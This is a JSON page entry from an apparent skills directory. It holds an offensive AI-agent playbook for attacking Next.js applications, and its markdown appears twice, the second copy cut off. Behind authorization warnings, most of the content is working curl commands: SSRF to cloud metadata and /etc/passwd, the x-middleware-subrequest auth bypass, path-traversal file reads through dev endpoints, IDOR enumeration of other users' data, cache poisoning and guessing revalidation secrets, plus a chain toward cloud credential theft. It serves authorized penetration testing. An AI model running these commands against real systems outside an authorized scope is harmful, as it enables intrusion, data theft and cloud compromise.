[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6F7H94NQK2CXM5X5M7C7CC2":3,"skill-same:01M6F7H94NQK2CXM5X5M7C7CC2":73},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":41,"linkOnly":42,"markdownContent":43,"markdownBody":44,"frontMatter":45,"refName":21,"commitSha":53,"skillDirectory":54,"forksCount":55,"repositoryHtmlUrl":56,"repositoryHomepageUrl":6,"ownerHtmlUrl":57,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":58,"install":59,"resources":72},"01M6F7H94NQK2CXM5X5M7C7CC2","hunt-nextjs",null,"Hunt Next.js specific vulnerabilities","boisenoise\u002Fskills-collections","boisenoise","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F193180?v=4","01M6CDBDQK6BDN55ZMA6B6PKBM","01M6CDBDVSJ3JPTBYN26FZ7TZK",12,"MIT","https:\u002F\u002Fgithub.com\u002Fboisenoise\u002Fskills-collections\u002Fblob\u002Fmain\u002Fskills\u002Fantigravity-hunt-nextjs\u002FSKILL.md",[],[18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40],"hunt nextjs","nextjs","hunt","main","2026","2024","for","relevant","helper","offensive","scripts","scope","commands","next","testing","community","only","Next.js","Tools","cve","license","database","security","2026-11-10 10:12:30",false,"---\nname: hunt-nextjs\ndescription: Hunt Next.js specific vulnerabilities\ncategory: security\nrisk: offensive\nsource: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\nsource_repo: elementalsouls\u002FClaude-BugHunter\nsource_type: community\ndate_added: '2026-09-20'\nlicense: MIT\nlicense_source: https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter\u002Fblob\u002Fmain\u002FLICENSE\ncompatibility: Requires explicit written authorization for a target scope plus the\n  relevant testing tools for this technique. Docs-only; helper scripts and commands\n  not bundled.\nsources: cve_database (CVE-2024-34351 \u002F GHSA-fr5h-rqp8-mj6g), Next.js advisories\nreport_count: 0\n---\n> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n# HUNT-NEXTJS — Next.js \u002F SSR Framework Vulnerabilities\n\nHistorical version ranges and exploit snippets require the exact framework\u002Frouter\u002Fruntime\u002Fhosting conditions from primary advisories. HTTP 200 or non-404 alone never establishes access bypass, dev mode or a vulnerability; validate content against authenticated\u002Funauthenticated controls and intended policy. Use synthetic identities and records, bounded request budgets and an approved callback receiver. Cache poisoning, revalidation, internal metadata access and mutation require separate exact-action scope. Do not access real victim sessions\u002Fdata or use discovered credentials.\n\n## Crown Jewel Targets\n\nNext.js-specific bugs that bypass auth or reach SSRF = High\u002FCritical.\n\n**Highest-value chains:**\n- **Server Actions auth bypass** — Server Actions enforce auth client-side only → call action ID directly → unauthorized data mutation or exfil\n- **Middleware bypass via `\u002F_next\u002Fstatic\u002F`** — middleware skips static asset paths → protected routes accessible via `\u002F_next\u002Fdata\u002F` IDOR\n- **`\u002F_next\u002Fimage` SSRF** — Image optimizer fetches attacker-controlled URL → internal network scan or cloud metadata\n- **ISR stale cache poisoning** — inject malicious content into a cached page that gets served to all users\n- **RSC payload leakage** — React Server Component flight data contains server-side props not meant for client\n\n---\n\n## Attack Surface Signals\n\n```\n\u002F_next\u002Fimage?url=&w=&q=          Image optimizer — SSRF candidate\n\u002F_next\u002Fdata\u002FBUILD_ID\u002F*.json      Prerendered page data — IDOR candidate\n\u002F__nextjs_original-stack-frame   Debug stack frame endpoint\n\u002F_next\u002Fstatic\u002Fchunks\u002F            JS bundles — source map candidate\n\u002Fapi\u002F                            API routes — standard hunt surface\n__NEXT_DATA__ in HTML            SSR props leaked to client\nx-nextjs-* response headers      Confirms Next.js\n```\n\n---\n\n## Phase 1 — Fingerprint & Version Detection\n\n```bash\n# Confirm Next.js and get build ID\ncurl -s https:\u002F\u002F$TARGET\u002F | grep -oP '\"buildId\":\"[^\"]+\"'\ncurl -sI https:\u002F\u002F$TARGET\u002F | grep -i \"x-powered-by\\|x-nextjs\"\n\n# Extract build ID for \u002F_next\u002Fdata\u002F paths\nBUILD_ID=$(curl -s https:\u002F\u002F$TARGET\u002F | grep -oP '\"buildId\":\"\\K[^\"]+')\necho \"Build ID: $BUILD_ID\"\n\n# Check Next.js version via package disclosure\ncurl -s https:\u002F\u002F$TARGET\u002F_next\u002Fstatic\u002Fchunks\u002Fframework*.js | grep -oP '\"next\":\"[^\"]+\"'\n\n# Source map exposure\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fstatic\u002Fchunks\u002Fpages\u002Findex.js.map\" | head -5\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fstatic\u002Fchunks\u002Fmain.js.map\" | head -5\n```\n\n---\n\n## Phase 2 — Server Actions Abuse\n\n```bash\n# Server Actions in Next.js 14+ use x-action-id or Next-Action header\n# Find action IDs in HTML source or JS bundles\ncurl -s https:\u002F\u002F$TARGET\u002F | grep -oP '\"action\":\"[a-f0-9]+\"'\ngrep -r 'createActionURL\\|$$ACTION_' recon\u002F$TARGET\u002F --include=\"*.js\" 2>\u002Fdev\u002Fnull\n\n# Call Server Action directly without auth\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Ftarget-page \\\n  -H \"Next-Action: ACTION_ID_HERE\" \\\n  -H \"Content-Type: multipart\u002Fform-data; boundary=----\" \\\n  -H \"Cookie: \" \\\n  --data-raw $'------\\r\\nContent-Disposition: form-data; name=\"1\"\\r\\n\\r\\n[]\\r\\n------\\r\\n'\n\n# Test: does the action execute without a valid session?\n# If it returns data or mutates state → auth enforcement is client-side only\n```\n\n---\n\n## Phase 3 — Middleware Auth Bypass\n\n```bash\n# Next.js middleware runs on edge runtime and may skip certain paths\n# Test protected route directly\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" https:\u002F\u002F$TARGET\u002Fadmin\u002Fdashboard\n# A 200 may be a login page or public shell; inspect authorized content and controls.\n\n# Test via \u002F_next\u002Fdata\u002F (SSG\u002FISR JSON) — middleware may not apply\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fdata\u002F$BUILD_ID\u002Fadmin\u002Fdashboard.json\"\n\n# Test via static asset path prefix (middleware matcher may exclude \u002F_next\u002Fstatic)\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fstatic\u002F..\u002Fadmin\u002Fdashboard\"\n\n# Encoded path bypass\ncurl -s \"https:\u002F\u002F$TARGET\u002F%5Fnext\u002Fdata\u002F$BUILD_ID\u002Fadmin\u002Fusers.json\"\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fdata\u002F$BUILD_ID\u002F..%2Fadmin%2Fusers.json\"\n```\n\n---\n\n### Middleware bypass via `x-middleware-subrequest` (CVE-2025-29927)\nNext skips middleware execution entirely when this header asserts an internal subrequest — bypassing auth\u002Fredirect middleware on gated routes.\n```bash\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" https:\u002F\u002F$TARGET\u002Fadmin\u002Fdashboard \\\n  -H \"x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware\"\n# also: -H \"x-middleware-subrequest: src\u002Fmiddleware\"  and  \"pages\u002F_middleware\"\n# Confirm protected content\u002Faction without authorization; status alone is insufficient. Historical fixes: 12.3.5 \u002F 13.5.9 \u002F 14.2.25 \u002F 15.2.3.\n```\n\n## Phase 4 — Image Optimization SSRF (`\u002F_next\u002Fimage`)\n\n```bash\n# Basic SSRF test — internal metadata\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fimage?url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F&w=64&q=75\"\n\n# Protocol bypass attempts\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fimage?url=file:\u002F\u002F\u002Fetc\u002Fpasswd&w=64&q=75\"\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fimage?url=http:\u002F\u002F127.0.0.1:6379\u002F&w=64&q=75\"\n\n# OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused\nCOLLAB=\"http:\u002F\u002FUNIQUE.COLLAB_HOST\"\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fimage?url=$COLLAB\u002Fnextjs-ssrf&w=64&q=75\"\n# Check Interactsh\u002FBurp Collaborator for DNS\u002FHTTP callback on that exact subdomain\n```\n\n**FALSE-POSITIVE GUARD (read before claiming SSRF):** `\u002F_next\u002Fimage` only\nfetches URLs allowed by `images.remotePatterns` \u002F `images.domains` in\n`next.config.js`. A non-whitelisted `url` returns **400 by default** — that is\nthe optimizer's normal allowlist rejection, NOT a \"block\" you bypassed. A **200**\nreturns an *optimized image*, not the upstream response body, so a status code\nalone NEVER confirms SSRF. Confirm only via an **out-of-band callback to a unique\nCollaborator subdomain** (above), or by body-diffing a known-internal vs\nknown-external target. Do not report on status code.\n\n> Note: CVE-2024-34351 (Next.js SSRF, GHSA-fr5h-rqp8-mj6g, affects 13.4.0\n> through \u003C 14.1.1, fixed in 14.1.1) is a **Server Actions** SSRF — a relative\n> redirect that trusts the `Host` header — NOT a `\u002F_next\u002Fimage` bug, and it does\n> NOT affect Host-routed providers like Vercel. See Phase 2 for the Server\n> Actions surface.\n\n---\n\n## Phase 5 — `\u002F_next\u002Fdata\u002F` IDOR & Data Leakage\n\n```bash\n# Enumerate prerendered JSON for user-specific data\n# Pattern: \u002F_next\u002Fdata\u002FBUILD_ID\u002F[page].json or \u002F_next\u002Fdata\u002FBUILD_ID\u002F[dynamic]\u002F[id].json\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fdata\u002F$BUILD_ID\u002Fprofile.json\" \\\n  -H \"Cookie: session=VICTIM_SESSION\"\n\n# Try other users' data\nfor ID in 1 2 3 100 1000; do\n  curl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fdata\u002F$BUILD_ID\u002Fusers\u002F$ID.json\" | head -3\ndone\n\n# Check __NEXT_DATA__ in HTML for sensitive server-side props\ncurl -s \"https:\u002F\u002F$TARGET\u002Fdashboard\" | \\\n  python3 -c \"import sys,re,json; m=re.search(r'\u003Cscript id=\\\"__NEXT_DATA__\\\"[^>]*>(.*?)\u003C\u002Fscript>',sys.stdin.read(),re.S); print(json.dumps(json.loads(m.group(1)),indent=2) if m else 'not found')\"\n```\n\n---\n\n## Phase 6 — ISR Cache Poisoning\n\n```bash\n# ISR pages regenerate on request after revalidation period\n# If user input influences the static page content without sanitization:\n# 1. Trigger revalidation with malicious input in URL\u002Fquery\n# 2. Injected content cached and served to all users\n\n# Test: does query param affect cached page content?\n# Use a UNIQUE marker (not a generic \u003Cscript>) so a match proves YOUR input landed,\n# and confirm the response was actually CACHED + served to a DIFFERENT client.\nMARK=\"zqx$(date +%s)\"\n# 1) Poison with the marker\ncurl -s \"https:\u002F\u002F$TARGET\u002Fblog\u002Ftest-post?preview=\u003Cb>$MARK\u003C\u002Fb>\" -o \u002Fdev\u002Fnull\n# 2) Re-fetch the CLEAN url (no query) from a fresh client and grep the marker.\n#    Body-diff clean-vs-poisoned and check x-nextjs-cache \u002F age headers — a reflected\n#    marker WITHOUT proof it persists in the cache key is just reflection, not poisoning.\ncurl -si \"https:\u002F\u002F$TARGET\u002Fblog\u002Ftest-post\" | grep -iE \"$MARK|x-nextjs-cache|age:\"\n\n# On-demand revalidation endpoint (if exposed)\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Frevalidate?secret=GUESS&path=\u002Fblog\u002Ftest\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Frevalidate?token=GUESS&path=\u002Fadmin\"\n```\n\n---\n\n## Phase 7 — Debug & Stack Frame Endpoints\n\n**Precondition:** `__nextjs_launch-editor` and `__nextjs_original-stack-frame`\nare react-dev-overlay middleware mounted ONLY under `next dev`. A production\nbuild (`next build && next start`) does not register these routes — a 404 here\nis the normal, expected result, not a \"filter\" you need to bypass. They are\nreachable ONLY in the rare misconfiguration of literally running `next dev` in\nproduction. Treat a non-404 as a candidate requiring version, content and route verification; a custom fallback can return 200 for every path.\n\n```bash\n# Inspect candidate response; a non-404 does not by itself prove dev mode\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n  \"https:\u002F\u002F$TARGET\u002F__nextjs_original-stack-frame?isServer=true&errorMessage=test\"\n\n# Only if the above is NOT 404: the launch-editor \u002F stack-frame endpoints can\n# reference local files (file-read surface of a dev server wrongly exposed)\ncurl -s \"https:\u002F\u002F$TARGET\u002F__nextjs_launch-editor?file=..\u002F..\u002Fetc\u002Fpasswd&line=1\"\ncurl -s \"https:\u002F\u002F$TARGET\u002F__nextjs_original-stack-frame\" \\\n  --data '{\"file\":\"\u002Fetc\u002Fpasswd\",\"line\":1,\"column\":1}'\n```\n\n---\n\n## Phase 8 — Environment Variable Leakage\n\n```bash\n# NEXT_PUBLIC_* vars are baked into JS bundles — grep for secrets\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fstatic\u002Fchunks\u002Fpages\u002F_app.js\" | \\\n  grep -oE \"NEXT_PUBLIC_[A-Z_]+['\\\"]?\\s*[:=]\\s*['\\\"]?[^'\\\"&\\s]+\"\n\n# Check for non-public vars accidentally exposed\ncurl -s https:\u002F\u002F$TARGET\u002F | python3 -c \"\nimport sys, re, json\nm = re.search(r'__NEXT_DATA__.*?({.*?})\u003C\u002Fscript>', sys.stdin.read(), re.S)\nif m:\n    d = json.loads(m.group(1))\n    print(json.dumps(d.get('props', {}), indent=2))\n\"\n```\n\n---\n\n## Chain Table\n\n| Next.js finding | Chain to | Impact |\n|----------------|----------|--------|\n| Server Action no auth | Call privileged mutations directly | Data manipulation \u002F admin access |\n| `\u002F_next\u002Fimage` SSRF | Cloud metadata → IAM creds | Cloud compromise |\n| `\u002F_next\u002Fdata\u002F` IDOR | Other users' server-side props | PII \u002F token exfil |\n| Middleware bypass | Protected admin routes | Auth bypass |\n| Source map exposed | Reconstruct TS source → find hardcoded secrets | Further vulns |\n| `__NEXT_DATA__` leaks | Server-side secrets in HTML | API keys \u002F tokens |\n\n---\n\n## Validation\n\n✅ Server Action: action executes without valid session, returns data or mutates state\n✅ SSRF: DNS\u002FHTTP callback received from `\u002F_next\u002Fimage` SSRF\n✅ Middleware bypass: unauthorized protected content\u002Faction demonstrated against controls; a 200 alone is insufficient\n✅ Data leak: `__NEXT_DATA__` contains non-public secrets or other users' PII\n\n**Severity:**\n- Server Action auth bypass → data mutation: High\u002FCritical\n- Image SSRF → cloud metadata: Critical\n- Middleware bypass → admin panel: High\n- Source map exposure only: Low-Medium\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## Limitations\n\n- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.\n- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.\n- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.\n\n### Example\n\n```bash\n# Read-only first step; confirm scope before anything active.\ncat scope.txt  # target list from the authorized engagement brief\n```\n\n> Adapted from [elementalsouls\u002FClaude-BugHunter](https:\u002F\u002Fgithub.com\u002Felementalsouls\u002FClaude-BugHunter) (MIT); frontmatter, When to Use\u002FLimitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.\n","> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n# HUNT-NEXTJS — Next.js \u002F SSR Framework Vulnerabilities\n\nHistorical version ranges and exploit snippets require the exact framework\u002Frouter\u002Fruntime\u002Fhosting conditions from primary advisories. HTTP 200 or non-404 alone never establishes access bypass, dev mode or a vulnerability; validate content against authenticated\u002Funauthenticated controls and intended policy. Use synthetic identities and records, bounded request budgets and an approved callback receiver. Cache poisoning, revalidation, internal metadata access and mutation require separate exact-action scope. Do not access real victim sessions\u002Fdata or use discovered credentials.\n\n## Crown Jewel Targets\n\nNext.js-specific bugs that bypass auth or reach SSRF = High\u002FCritical.\n\n**Highest-value chains:**\n- **Server Actions auth bypass** — Server Actions enforce auth client-side only → call action ID directly → unauthorized data mutation or exfil\n- **Middleware bypass via `\u002F_next\u002Fstatic\u002F`** — middleware skips static asset paths → protected routes accessible via `\u002F_next\u002Fdata\u002F` IDOR\n- **`\u002F_next\u002Fimage` SSRF** — Image optimizer fetches attacker-controlled URL → internal network scan or cloud metadata\n- **ISR stale cache poisoning** — inject malicious content into a cached page that gets served to all users\n- **RSC payload leakage** — React Server Component flight data contains server-side props not meant for client\n\n---\n\n## Attack Surface Signals\n\n```\n\u002F_next\u002Fimage?url=&w=&q=          Image optimizer — SSRF candidate\n\u002F_next\u002Fdata\u002FBUILD_ID\u002F*.json      Prerendered page data — IDOR candidate\n\u002F__nextjs_original-stack-frame   Debug stack frame endpoint\n\u002F_next\u002Fstatic\u002Fchunks\u002F            JS bundles — source map candidate\n\u002Fapi\u002F                            API routes — standard hunt surface\n__NEXT_DATA__ in HTML            SSR props leaked to client\nx-nextjs-* response headers      Confirms Next.js\n```\n\n---\n\n## Phase 1 — Fingerprint & Version Detection\n\n```bash\n# Confirm Next.js and get build ID\ncurl -s https:\u002F\u002F$TARGET\u002F | grep -oP '\"buildId\":\"[^\"]+\"'\ncurl -sI https:\u002F\u002F$TARGET\u002F | grep -i \"x-powered-by\\|x-nextjs\"\n\n# Extract build ID for \u002F_next\u002Fdata\u002F paths\nBUILD_ID=$(curl -s https:\u002F\u002F$TARGET\u002F | grep -oP '\"buildId\":\"\\K[^\"]+')\necho \"Build ID: $BUILD_ID\"\n\n# Check Next.js version via package disclosure\ncurl -s https:\u002F\u002F$TARGET\u002F_next\u002Fstatic\u002Fchunks\u002Fframework*.js | grep -oP '\"next\":\"[^\"]+\"'\n\n# Source map exposure\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fstatic\u002Fchunks\u002Fpages\u002Findex.js.map\" | head -5\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fstatic\u002Fchunks\u002Fmain.js.map\" | head -5\n```\n\n---\n\n## Phase 2 — Server Actions Abuse\n\n```bash\n# Server Actions in Next.js 14+ use x-action-id or Next-Action header\n# Find action IDs in HTML source or JS bundles\ncurl -s https:\u002F\u002F$TARGET\u002F | grep -oP '\"action\":\"[a-f0-9]+\"'\ngrep -r 'createActionURL\\|$$ACTION_' recon\u002F$TARGET\u002F --include=\"*.js\" 2>\u002Fdev\u002Fnull\n\n# Call Server Action directly without auth\ncurl -s -X POST https:\u002F\u002F$TARGET\u002Ftarget-page \\\n  -H \"Next-Action: ACTION_ID_HERE\" \\\n  -H \"Content-Type: multipart\u002Fform-data; boundary=----\" \\\n  -H \"Cookie: \" \\\n  --data-raw $'------\\r\\nContent-Disposition: form-data; name=\"1\"\\r\\n\\r\\n[]\\r\\n------\\r\\n'\n\n# Test: does the action execute without a valid session?\n# If it returns data or mutates state → auth enforcement is client-side only\n```\n\n---\n\n## Phase 3 — Middleware Auth Bypass\n\n```bash\n# Next.js middleware runs on edge runtime and may skip certain paths\n# Test protected route directly\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" https:\u002F\u002F$TARGET\u002Fadmin\u002Fdashboard\n# A 200 may be a login page or public shell; inspect authorized content and controls.\n\n# Test via \u002F_next\u002Fdata\u002F (SSG\u002FISR JSON) — middleware may not apply\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fdata\u002F$BUILD_ID\u002Fadmin\u002Fdashboard.json\"\n\n# Test via static asset path prefix (middleware matcher may exclude \u002F_next\u002Fstatic)\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fstatic\u002F..\u002Fadmin\u002Fdashboard\"\n\n# Encoded path bypass\ncurl -s \"https:\u002F\u002F$TARGET\u002F%5Fnext\u002Fdata\u002F$BUILD_ID\u002Fadmin\u002Fusers.json\"\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fdata\u002F$BUILD_ID\u002F..%2Fadmin%2Fusers.json\"\n```\n\n---\n\n### Middleware bypass via `x-middleware-subrequest` (CVE-2025-29927)\nNext skips middleware execution entirely when this header asserts an internal subrequest — bypassing auth\u002Fredirect middleware on gated routes.\n```bash\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" https:\u002F\u002F$TARGET\u002Fadmin\u002Fdashboard \\\n  -H \"x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware\"\n# also: -H \"x-middleware-subrequest: src\u002Fmiddleware\"  and  \"pages\u002F_middleware\"\n# Confirm protected content\u002Faction without authorization; status alone is insufficient. Historical fixes: 12.3.5 \u002F 13.5.9 \u002F 14.2.25 \u002F 15.2.3.\n```\n\n## Phase 4 — Image Optimization SSRF (`\u002F_next\u002Fimage`)\n\n```bash\n# Basic SSRF test — internal metadata\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fimage?url=http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F&w=64&q=75\"\n\n# Protocol bypass attempts\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fimage?url=file:\u002F\u002F\u002Fetc\u002Fpasswd&w=64&q=75\"\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fimage?url=http:\u002F\u002F127.0.0.1:6379\u002F&w=64&q=75\"\n\n# OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused\nCOLLAB=\"http:\u002F\u002FUNIQUE.COLLAB_HOST\"\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fimage?url=$COLLAB\u002Fnextjs-ssrf&w=64&q=75\"\n# Check Interactsh\u002FBurp Collaborator for DNS\u002FHTTP callback on that exact subdomain\n```\n\n**FALSE-POSITIVE GUARD (read before claiming SSRF):** `\u002F_next\u002Fimage` only\nfetches URLs allowed by `images.remotePatterns` \u002F `images.domains` in\n`next.config.js`. A non-whitelisted `url` returns **400 by default** — that is\nthe optimizer's normal allowlist rejection, NOT a \"block\" you bypassed. A **200**\nreturns an *optimized image*, not the upstream response body, so a status code\nalone NEVER confirms SSRF. Confirm only via an **out-of-band callback to a unique\nCollaborator subdomain** (above), or by body-diffing a known-internal vs\nknown-external target. Do not report on status code.\n\n> Note: CVE-2024-34351 (Next.js SSRF, GHSA-fr5h-rqp8-mj6g, affects 13.4.0\n> through \u003C 14.1.1, fixed in 14.1.1) is a **Server Actions** SSRF — a relative\n> redirect that trusts the `Host` header — NOT a `\u002F_next\u002Fimage` bug, and it does\n> NOT affect Host-routed providers like Vercel. See Phase 2 for the Server\n> Actions surface.\n\n---\n\n## Phase 5 — `\u002F_next\u002Fdata\u002F` IDOR & Data Leakage\n\n```bash\n# Enumerate prerendered JSON for user-specific data\n# Pattern: \u002F_next\u002Fdata\u002FBUILD_ID\u002F[page].json or \u002F_next\u002Fdata\u002FBUILD_ID\u002F[dynamic]\u002F[id].json\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fdata\u002F$BUILD_ID\u002Fprofile.json\" \\\n  -H \"Cookie: session=VICTIM_SESSION\"\n\n# Try other users' data\nfor ID in 1 2 3 100 1000; do\n  curl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fdata\u002F$BUILD_ID\u002Fusers\u002F$ID.json\" | head -3\ndone\n\n# Check __NEXT_DATA__ in HTML for sensitive server-side props\ncurl -s \"https:\u002F\u002F$TARGET\u002Fdashboard\" | \\\n  python3 -c \"import sys,re,json; m=re.search(r'\u003Cscript id=\\\"__NEXT_DATA__\\\"[^>]*>(.*?)\u003C\u002Fscript>',sys.stdin.read(),re.S); print(json.dumps(json.loads(m.group(1)),indent=2) if m else 'not found')\"\n```\n\n---\n\n## Phase 6 — ISR Cache Poisoning\n\n```bash\n# ISR pages regenerate on request after revalidation period\n# If user input influences the static page content without sanitization:\n# 1. Trigger revalidation with malicious input in URL\u002Fquery\n# 2. Injected content cached and served to all users\n\n# Test: does query param affect cached page content?\n# Use a UNIQUE marker (not a generic \u003Cscript>) so a match proves YOUR input landed,\n# and confirm the response was actually CACHED + served to a DIFFERENT client.\nMARK=\"zqx$(date +%s)\"\n# 1) Poison with the marker\ncurl -s \"https:\u002F\u002F$TARGET\u002Fblog\u002Ftest-post?preview=\u003Cb>$MARK\u003C\u002Fb>\" -o \u002Fdev\u002Fnull\n# 2) Re-fetch the CLEAN url (no query) from a fresh client and grep the marker.\n#    Body-diff clean-vs-poisoned and check x-nextjs-cache \u002F age headers — a reflected\n#    marker WITHOUT proof it persists in the cache key is just reflection, not poisoning.\ncurl -si \"https:\u002F\u002F$TARGET\u002Fblog\u002Ftest-post\" | grep -iE \"$MARK|x-nextjs-cache|age:\"\n\n# On-demand revalidation endpoint (if exposed)\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Frevalidate?secret=GUESS&path=\u002Fblog\u002Ftest\"\ncurl -s \"https:\u002F\u002F$TARGET\u002Fapi\u002Frevalidate?token=GUESS&path=\u002Fadmin\"\n```\n\n---\n\n## Phase 7 — Debug & Stack Frame Endpoints\n\n**Precondition:** `__nextjs_launch-editor` and `__nextjs_original-stack-frame`\nare react-dev-overlay middleware mounted ONLY under `next dev`. A production\nbuild (`next build && next start`) does not register these routes — a 404 here\nis the normal, expected result, not a \"filter\" you need to bypass. They are\nreachable ONLY in the rare misconfiguration of literally running `next dev` in\nproduction. Treat a non-404 as a candidate requiring version, content and route verification; a custom fallback can return 200 for every path.\n\n```bash\n# Inspect candidate response; a non-404 does not by itself prove dev mode\ncurl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n  \"https:\u002F\u002F$TARGET\u002F__nextjs_original-stack-frame?isServer=true&errorMessage=test\"\n\n# Only if the above is NOT 404: the launch-editor \u002F stack-frame endpoints can\n# reference local files (file-read surface of a dev server wrongly exposed)\ncurl -s \"https:\u002F\u002F$TARGET\u002F__nextjs_launch-editor?file=..\u002F..\u002Fetc\u002Fpasswd&line=1\"\ncurl -s \"https:\u002F\u002F$TARGET\u002F__nextjs_original-stack-frame\" \\\n  --data '{\"file\":\"\u002Fetc\u002Fpasswd\",\"line\":1,\"column\":1}'\n```\n\n---\n\n## Phase 8 — Environment Variable Leakage\n\n```bash\n# NEXT_PUBLIC_* vars are baked into JS bundles — grep for secrets\ncurl -s \"https:\u002F\u002F$TARGET\u002F_next\u002Fstatic\u002Fchunks\u002Fpages\u002F_app.js\" | \\\n  grep -oE \"NEXT_PUBLIC_[A-Z_]+['\\\"]?\\s*[:=]\\s*['\\\"]?[^'\\\"&\\s]+\"\n\n# Check for non-public vars accidentally exposed\ncurl -s https:\u002F\u002F$TARGET\u002F | python3 -c \"\nimport sys, re, json\nm = re.search(r'__NEXT_DATA__.*?({.*?})\u003C\u002Fscript>', sys.stdin.read(), re.S)\nif m:\n    d = json.loads(m.group(1))\n    print(json.dumps(d.get('props', {}), indent=2))\n\"\n```\n\n---\n\n## Chain Table\n\n| Next.js finding | Chain to | Impact |\n|----------------|----------|--------|\n| Server Action no auth | Call privileged mutations directly | Data manipulation \u002F admin access |\n| `\u002F_next\u002Fimage` SSRF | Cloud metadata → IAM creds | Cloud compromise |\n| `\u002F_next\u002Fdata\u002F` IDOR | Other users' server-side props | PII \u002F token exfil |\n| Middleware bypass | Protected admin routes | Auth bypass |\n| Source map exposed | Reconstruct TS source → find hardcoded secrets | Further vulns |\n| `__NEXT_DATA__` leaks | Server-side secrets in HTML | API keys \u002F tokens |\n\n---\n\n## Validation\n\n✅ Server Action: action executes without valid session, returns data or mutates state\n✅ SSRF: DNS\u002FHTTP callback received from `\u002F_next\u002Fimage` SSRF\n✅ Middleware bypass: unauthorized protected content\u002Faction demonstrated against controls; a 200 alone is insufficient\n✅ Data leak: `__NEXT_DATA__` contains non-public secrets or other users' PII\n\n**Severity:**\n- Server Action auth bypass → data mutation: High\u002FCritical\n- Image SSRF → cloud metadata: Critical\n- Middleware bypass → admin panel: High\n- Source map exposure only: Low-Medium\n\n## When to Use\n\n- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.\n- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.\n\n## 